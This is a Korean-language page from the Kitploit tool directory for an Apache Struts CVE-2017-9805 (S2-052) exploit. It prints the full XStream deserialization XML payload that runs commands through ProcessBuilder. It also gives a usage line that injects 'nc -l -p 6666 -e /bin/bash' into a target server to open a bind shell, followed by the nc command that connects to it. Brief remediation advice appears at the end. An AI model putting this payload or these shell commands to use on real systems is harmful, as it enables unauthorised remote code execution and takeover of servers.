Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
S2-052 — CVE-2017-9805 - 익스플로잇 | Kitploit
도구/GitHubGitHub/beyondcy/s2-052
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and Control
GitHubbeyondcy/s2-052

S2-052

CVE-2017-9805 - 익스플로잇

저장소 보기
18년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2017-9805 (S2-052) 리버스 셸 익스플로잇

영향받는 버전

root@kitploit:~
Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12

PoC

root@kitploit:~
Content-Type: application/xml

<map>
<entry>
<jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command> <string>calc</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>

Windows <command><string>calc</string></command>

Mac <command><string>/Applications/Calculator.app/Contents/MacOS/Calculator</string></command>

취약점 재현 상세

https://secfree.com/article-333.html

CentOS 7 Nc 설치

root@kitploit:~
rpm -ivh netcat-1.10-891.2.x86_64.rpm

옵션

root@kitploit:~
 [*] Apache Struts2 CVE-2017-9805 (S2-052) - 익스플로잇
 [*] 0day 정보: https://secfree.com/article-333.html
 [*] 사용:        <targetUrl> <command>
 [*] 작성자: www.secFree.com Team By Bearcat

사용 방법

root@kitploit:~
java -jar CVE-2017-9805-Exploit.jar http://192.168.199.246:8080/struts2-rest-showcase/orders.xhtml "nc -l -p 6666 -e /bin/bash"

nc 192.168.199.246 6666

익스플로잇

이 익스플로잇은 셸 리버스 기능만 합니다. 명령 실행 결과를 보려면 https://github.com/luc10/struts-rce-cve-2017-9805 를 참조하십시오.

수정 방법

  1. 가능한 빨리 2.5.13 버전으로 업그레이드하십시오.

  2. 사용하지 않을 때는 Struts REST 플러그인을 삭제하거나 서버 일반 페이지 및 JSON으로만 제한하십시오:

root@kitploit:~
<constant name=”struts.action.extension” value=”xhtml,,json” />
  1. 서버 확장 유형을 제한하고 XML 지원을 제거하십시오.
도구 다운로드